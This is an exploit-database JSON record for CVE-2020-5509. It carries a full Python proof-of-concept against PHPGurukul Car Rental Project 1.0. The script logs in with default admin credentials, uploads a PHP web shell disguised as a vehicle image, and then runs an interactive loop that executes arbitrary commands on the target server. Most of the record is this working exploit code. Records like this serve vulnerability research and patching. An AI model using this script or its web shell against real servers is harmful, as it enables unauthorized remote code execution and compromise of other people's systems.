{"exploit":{"id":"EDB-52243","name":"PHPGurukul Car Rental Project 1.0 - Remote Code Execution (RCE)","description":"PHPGurukul Car Rental Project 1.0 - Remote Code Execution (RCE)","cves":["CVE-2020-5509"],"author":"ub3rsick","published":"2025-04-16","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52243","path":"exploits/php/webapps/52243.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52243.py","vulnerabilities":[{"id":"CVE-2020-5509","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHPGurukul Car Rental Project v1.0 allows Remote Code Execution via an executable file in an upload of a new profile image.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-5509","cvss":{"version":"3.1","baseScore":7.2,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-5509"},"updatedAt":"2024-08-04T08:30:24.369Z","retrievedAt":"2026-11-26T23:11:18.166Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52243.png?v=2","url":"https://exploitbin.com/exploits/EDB-52243","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52243/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52243/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Car Rental Project 1.0 - Remote Code Execution\n# Date: 1/3/2020\n# Exploit Author: FULLSHADE, SC\n# Vendor Homepage: https://phpgurukul.com/\n# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/\n# Version: 1.0\n# Tested on: Windows\n# CVE : CVE-2020-5509\n# ==================================================\n# Information & description\n# ==================================================\n# Car Rental Project v.1.0 is vulnerable to arbitrary file upload since an admin can change the image of a product and the file change PHP code doesn't validate or care what type of file is submitted, which leads to an attack having the ability to upload malicious files. This Python POC will execute arbitrary commands on the remote server.\n# ==================================================\n# Manual POC\n# ==================================================\n# Manual POC method\n# - Visit carrental > admin login > changeimage1.php\n# - Upload a php rce vulnerable payload\n# - Visit /carrentalproject/carrental/admin/img/vehicleimages/.php to visit your file\n# - Execute commands on the server\n# ==================================================\n# POC automation script\n# ==================================================\n\nimport sys\nimport requests\n\nprint(\"\"\"\n+-------------------------------------------------------------+\nCar Rental Project v1.0 - Remote Code Execution\nFULLSHADE, FullPwn Operations\n+-------------------------------------------------------------+\n\"\"\")\n\ndef login():\n    sessionObj = requests.session()\n    RHOSTS = sys.argv[1]\n    bigstring = \"\\n+-------------------------------------------------------------+\\n\"\n    print(\"+-------------------------------------------------------------+\")\n    print(\"[+] Victim host: {}\".format(RHOSTs))\n    POST_AUTH_LOGIN = \"http://\" + RHOSTS + \"/carrentalproject/carrental/admin/index.php\"\n    SHELL_UPLOAD_URL = \"http://\" + RHOSTS + \"/carrentalproject/carrental/admin/changeimage1.php\"\n\n    # login / authentication\n    payload = {\"username\": \"admin\", \"password\": \"Test@12345\", \"login\": \"\"}\n    login = sessionObj.post(POST_AUTH_LOGIN, data=payload)\n\n    # get response\n    if login.status_code == 200:\n        print(\"[+] Login HTTP response code: 200\")\n        print(\"[+] Successfully logged in\")\n    else:\n        print(\"[!] Failed to authenticate\")\n        sys.exit()\n\n    # get session token\n    session_cookie_dic = sessionObj.cookies.get_dict()\n    token = session_cookie_dic[\"PHPSESSID\"]\n    print(\"[+] Session cookie: {}\".format(token))\n\n    # proxy for Burp testing\n    proxies = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}\n\n    # data for uploading the backdoor request\n    backdoor_file = {\n        \"img1\": (\n            \"1dccadfed7bcbb036c56a4afb97e906f.php\",\n            '<?php system($_GET[\"cmd\"]); ?>',\n            \"Content-Type application/x-php\",\n        )\n    }\n    backdoor_data = {\"update\": \"\"}\n    SHELL_UPLOAD_URL = \"http://\" + RHOSTS + \"/carrentalproject/carrental/admin/changeimage1.php\"\n\n    # actually upload the php shell\n    try:\n        r = sessionObj.post(url=SHELL_UPLOAD_URL, files=backdoor_file, data=backdoor_data)\n        print(\"[+] Backdoor upload at /carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php\" + bigstring)\n    except:\n        print(\"[!] Failed to upload backdoor\")\n\n    # get command execution\n    while True:\n        COMMAND = str(input('\\033[32m' + \"Command RCE >> \" + '\\033[m'))\n        SHELL_LOCATION = \"http://\" + RHOSTS + \"/carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php\"\n        # get R,CE results\n        respond = sessionObj.get(SHELL_LOCATION + \"?cmd=\" + COMMAND)\n        print(respond.text)\n\nif __name__ == \"__main__\":\n    login()","sha256":"55425d084da8413f74e1435e67c6b3f3d95a0290b73df375985915addae2fbda","bytes":3783,"fetchedAt":"2026-11-26T23:11:17.954Z","encoding":"utf-8 (display only; download retains original bytes)"}